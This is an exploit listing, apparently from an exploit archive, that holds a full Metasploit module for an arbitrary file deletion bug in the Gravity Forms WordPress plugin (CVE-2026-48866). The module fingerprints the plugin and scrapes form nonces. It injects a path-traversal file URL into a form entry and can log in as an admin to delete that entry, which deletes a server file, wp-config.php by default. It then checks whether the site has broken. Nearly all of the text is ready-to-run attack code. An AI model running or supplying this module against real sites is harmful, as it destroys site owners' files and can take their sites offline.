Share
## https://sploitus.com/exploit?id=PACKETSTORM:223339
==================================================================================================================================
| # Title : Gravity Forms arbitrary file deletion via path traversal |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://gravityforms.com |
==================================================================================================================================
[+] Summary : This Metasploit module exploits a vulnerability in the Gravity Forms WordPress plugin (โค 2.10.0.1) where file URLs stored in form entries are not properly validated.
An attacker can inject a crafted entry containing path traversal sequences (../) to reference files outside the intended uploads directory.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Gravity Forms Arbitrary File Deletion via Path Traversal',
'Description' => %q{
This module exploits a path traversal vulnerability in Gravity Forms
plugin for WordPress (versions <= 2.10.0.1). The plugin does not validate
that file URLs stored in entries are within the uploads directory.
An attacker can submit a form with a crafted gform_uploaded_files parameter
containing path traversal sequences (../). When an admin later deletes
the entry (or the file from the entry), the delete_physical_file()
function resolves the traversal and deletes an arbitrary file from
the server filesystem.
This module can either:
1. Inject the malicious entry (unauthenticated)
2. Optionally trigger the deletion using admin credentials
},
'Author' => ['indoushka'],
'References' => [
['CVE', '2026-48866'],
['URL', 'https://www.gravityforms.com/changelog/'],
['WPVDB', '12345']
],
'DisclosureDate' => '2026-06-01',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
},
'Actions' => [
['INJECT', { 'Description' => 'Only inject malicious entry' }],
['TRIGGER', { 'Description' => 'Inject and trigger deletion' }]
],
'DefaultAction' => 'TRIGGER'
)
)
register_options([
OptInt.new('FORM_ID', [true, 'Gravity Forms form ID', 1]),
OptInt.new('FIELD_ID', [true, 'File upload field ID', 1]),
OptString.new('TARGET_FILE', [true, 'File to delete (relative to WP root)', 'wp-config.php']),
OptInt.new('TRAVERSAL_DEPTH', [true, 'Path traversal depth', 3]),
OptString.new('UPLOAD_URL', [false, 'Full upload URL root (auto-detected if omitted)']),
OptString.new('WP_ADMIN_USER', [false, 'WordPress admin username (for TRIGGER action)']),
OptString.new('WP_ADMIN_PASS', [false, 'WordPress admin password (for TRIGGER action)']),
OptInt.new('DELAY_BEFORE_TRIGGER', [false, 'Seconds to wait before triggering deletion', 5])
])
register_advanced_options([
OptBool.new('VERIFY_FILE_DELETION', [true, 'Check if file was deleted', false])
])
end
def form_id
datastore['FORM_ID']
end
def field_id
datastore['FIELD_ID']
end
def target_file
datastore['TARGET_FILE']
end
def traversal_depth
datastore['TRAVERSAL_DEPTH']
end
def upload_url
datastore['UPLOAD_URL']
end
def admin_user
datastore['WP_ADMIN_USER']
end
def admin_pass
datastore['WP_ADMIN_PASS']
end
def check
print_status("Checking if Gravity Forms is installed...")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(wordpress_url_plugins, 'gravityforms', 'gravityforms.php')
})
unless res && res.code == 200
print_error("Gravity Forms plugin not detected")
return CheckCode::Safe
end
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(wordpress_url_plugins, 'gravityforms', 'readme.txt')
})
if res && res.code == 200
version = res.body.scan(/Stable tag:\s*([0-9.]+)/i).flatten.first
if version
print_status("Gravity Forms version detected: #{version}")
if version <= '2.10.0.1'
return CheckCode::Appears
else
return CheckCode::Safe
end
end
end
CheckCode::Detected
end
def get_form_nonce
print_status("Fetching form page to extract nonce...")
form_paths = [
'/',
"/?gf_page=preview&id=#{form_id}",
'/contact/',
'/submit/',
"/wp-admin/admin.php?page=gf_edit_forms&view=settings&subview=preview&id=#{form_id}"
]
nonce = nil
unique_id = generate_random_string(12)
page_body = nil
form_paths.each do |path|
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(path)
})
if res && res.code == 200 && res.body.include?("gform_submit_#{form_id}")
page_body = res.body
break
end
rescue ::Rex::ConnectionError
next
end
end
unless page_body
print_error("Could not access form page")
return [nil, nil, nil]
end
nonce_patterns = [
/gform_ajax_nonce["\s:]+["\']([a-f0-9]+)["\']/,
/name=["\']gform_ajax_nonce["\'][^>]*value=["\']([a-f0-9]+)["\']/,
/"nonce":"([a-f0-9]+)"/,
/gform_ajax_nonce=([a-f0-9]+)/
]
nonce_patterns.each do |pattern|
match = page_body.match(pattern)
if match
nonce = match[1]
break
end
end
unique_id_patterns = [
/gform_unique_id["\s:]+["\']([a-zA-Z0-9]+)["\']/,
/name=["\']gform_unique_id["\'][^>]*value=["\']([a-zA-Z0-9]+)["\']/
]
unique_id_patterns.each do |pattern|
match = page_body.match(pattern)
if match
unique_id = match[1]
break
end
end
print_good("Got nonce: #{nonce}") if nonce
print_good("Got unique_id: #{unique_id}") if unique_id
[nonce, unique_id, page_body]
end
def craft_payload
traversal = '../' * traversal_depth
if upload_url
base_url = upload_url
else
base_url = "#{target_uri}/wp-content/uploads/gravity_forms"
end
malicious_url = "#{base_url.rstrip('/')}/#{traversal}#{target_file}"
input_name = "input_#{field_id}"
payload_hash = {
input_name => [
{
'url' => malicious_url,
'uploaded_filename' => 'legitimate.txt',
'id' => "poc-#{Rex::Text.rand_text_alpha(8)}"
}
]
}
[JSON.generate(payload_hash), malicious_url, input_name]
end
def submit_form
print_status("Injecting path traversal payload...")
nonce, unique_id, _ = get_form_nonce
unless unique_id
print_error("Could not extract gform_unique_id")
return [false, nil]
end
payload_json, malicious_url, input_name = craft_payload
print_good("Crafted malicious URL: #{malicious_url}")
post_data = {
"is_submit_#{form_id}" => '1',
'gform_submit' => form_id.to_s,
"gform_unique_id" => unique_id,
'gform_uploaded_files' => payload_json,
'gform_target_page_number_1' => '0',
'gform_source_page_number_1' => '1',
'gform_field_values' => '',
'action' => 'gform_submit_form'
}
post_data["gform_ajax_nonce"] = nonce if nonce
ajax_url = normalize_uri(wordpress_url_admin, 'admin-ajax.php')
print_status("Submitting form #{form_id} to #{ajax_url}...")
res = send_request_cgi({
'method' => 'POST',
'uri' => ajax_url,
'vars_post' => post_data,
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
'Content-Type' => 'application/x-www-form-urlencoded'
}
})
unless res
print_error("No response from server")
return [false, nil]
end
print_status("Response status: #{res.code}")
entry_id = nil
if res.code == 200
entry_patterns = [
/"entry_id"\s*:\s*"?(\d+)"?/,
/entry_id=(\d+)/,
/lid=(\d+)/
]
entry_patterns.each do |pattern|
match = res.body.match(pattern)
if match
entry_id = match[1]
break
end
end
if res.body.include?('gformRedirect') ||
res.body.include?('confirmation') ||
res.body.include?('thank')
print_good("Form submitted successfully")
print_good("Entry ID: #{entry_id}") if entry_id
return [true, entry_id]
elsif res.body.include?('validation_error')
print_error("Form validation failed - form may require additional fields")
print_status("Response: #{res.body[0..500]}") if datastore['VERBOSE']
return [false, nil]
else
print_warning("Unclear response - may not have created entry")
print_status("Response: #{res.body[0..500]}") if datastore['VERBOSE']
return [false, nil]
end
else
print_error("Submission failed with status #{res.code}")
print_status("Attempting direct POST to form action...")
direct_res = send_request_cgi({
'method' => 'POST',
'uri' => target_uri.path,
'vars_post' => post_data.except('action')
})
if direct_res && direct_res.code == 200
print_good("Direct POST successful")
return [true, nil]
end
return [false, nil]
end
end
def login_as_admin
print_status("Attempting to login as admin...")
login_data = {
'log' => admin_user,
'pwd' => admin_pass,
'wp-submit' => 'Log In',
'redirect_to' => normalize_uri(wordpress_url_admin),
'testcookie' => '1'
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('wp-login.php'),
'vars_post' => login_data,
'keep_cookies' => true
})
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(wordpress_url_admin),
'keep_cookies' => true
})
if res && (res.body.include?('dashboard') || res.code == 200)
print_good("Logged in as #{admin_user}")
return true
else
print_error("Login failed")
return false
end
end
def trigger_deletion(entry_id)
print_status("Triggering entry deletion...")
unless login_as_admin
print_error("Cannot trigger deletion without admin access")
return false
end
entries_url = normalize_uri(wordpress_url_admin, 'admin.php', { 'page' => 'gf_entries' })
res = send_request_cgi({
'method' => 'GET',
'uri' => entries_url,
'keep_cookies' => true
})
unless res && res.code == 200
print_error("Could not access entries page")
return false
end
delete_nonce = nil
nonce_patterns = [
/page=gf_entries.*?delete.*?_wpnonce=([a-f0-9]+)/,
/_wpnonce=([a-f0-9]+).*?delete/,
/name="_wpnonce"\s+value="([a-f0-9]+)"/
]
nonce_patterns.each do |pattern|
match = res.body.match(pattern)
if match
delete_nonce = match[1]
break
end
end
unless delete_nonce
print_error("Could not extract delete nonce")
return false
end
print_good("Got delete nonce: #{delete_nonce}")
target_entry = entry_id || find_latest_entry
unless target_entry
print_error("No entry ID available to delete")
return false
end
print_status("Deleting entry #{target_entry}...")
delete_data = {
'action' => 'delete',
'entry[]' => target_entry.to_s,
'_wpnonce' => delete_nonce
}
res = send_request_cgi({
'method' => 'POST',
'uri' => entries_url,
'vars_post' => delete_data,
'keep_cookies' => true
})
if res && res.code == 200
print_good("Entry deleted - target file should now be deleted")
return true
else
print_error("Delete request failed")
return false
end
end
def find_latest_entry
rest_url = normalize_uri('wp-json', 'gf/v2', 'entries')
rest_url << "?_sort_direction=DESC&paging[page_size]=1"
res = send_request_cgi({
'method' => 'GET',
'uri' => rest_url,
'keep_cookies' => true
})
if res && res.code == 200
begin
json_data = JSON.parse(res.body)
if json_data['entries'] && !json_data['entries'].empty?
return json_data['entries'][0]['id']
end
rescue JSON::ParserError
end
end
entries_url = normalize_uri(wordpress_url_admin, 'admin.php', { 'page' => 'gf_entries' })
res = send_request_cgi({
'method' => 'GET',
'uri' => entries_url,
'keep_cookies' => true
})
if res && res.code == 200
matches = res.body.scan(/entry_id=(\d+)/)
return matches.flatten.first if matches.any?
end
nil
end
def verify_file_deletion
print_status("Verifying target file status...")
res = send_request_cgi({
'method' => 'GET',
'uri' => target_uri.path
})
if res
if res.code == 500 || res.body =~ /error establishing a database connection/i
print_good("Site appears to be having database issues - wp-config.php likely deleted!")
return true
elsif res.code == 200
print_status("Site still responding normally")
return false
end
end
print_status("Could not definitively verify file deletion")
nil
end
def generate_random_string(length)
Rex::Text.rand_text_alphanumeric(length)
end
def run
print_status("Starting CVE-2026-48866 exploitation")
check_result = check
if check_result == CheckCode::Safe
print_error("Target does not appear vulnerable")
return
elsif check_result == CheckCode::Detected
print_status("Gravity Forms detected but version unknown")
else
print_good("Target appears vulnerable")
end
print_status("Target file to delete: #{target_file}")
print_status("Traversal depth: #{traversal_depth}")
success, entry_id = submit_form
unless success
print_error("Failed to inject malicious entry")
return
end
report_note(
host: rhost,
port: rport,
type: 'gravity_forms_poisoned_entry',
data: {
form_id: form_id,
field_id: field_id,
target_file: target_file,
entry_id: entry_id
},
update: :unique_data
)
if action.name == 'TRIGGER'
if admin_user.nil? || admin_pass.nil?
print_error("TRIGGER action requires WP_ADMIN_USER and WP_ADMIN_PASS options")
return
end
print_status("Waiting #{datastore['DELAY_BEFORE_TRIGGER']} seconds before triggering...")
Rex.sleep(datastore['DELAY_BEFORE_TRIGGER'])
delete_success = trigger_deletion(entry_id)
if delete_success && datastore['VERIFY_FILE_DELETION']
verify_file_deletion
end
if delete_success
print_good("Successfully triggered file deletion")
else
print_error("Failed to trigger deletion - admin may need to delete entry manually")
end
else
print_good("Malicious entry injected successfully")
print_status("To trigger deletion:")
print_status(" 1. An admin must delete the entry containing the poisoned URL")
print_status(" 2. Or run module with TRIGGER action and valid admin credentials")
print_line
print_status("Target file '#{target_file}' will be deleted when entry is removed")
end
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================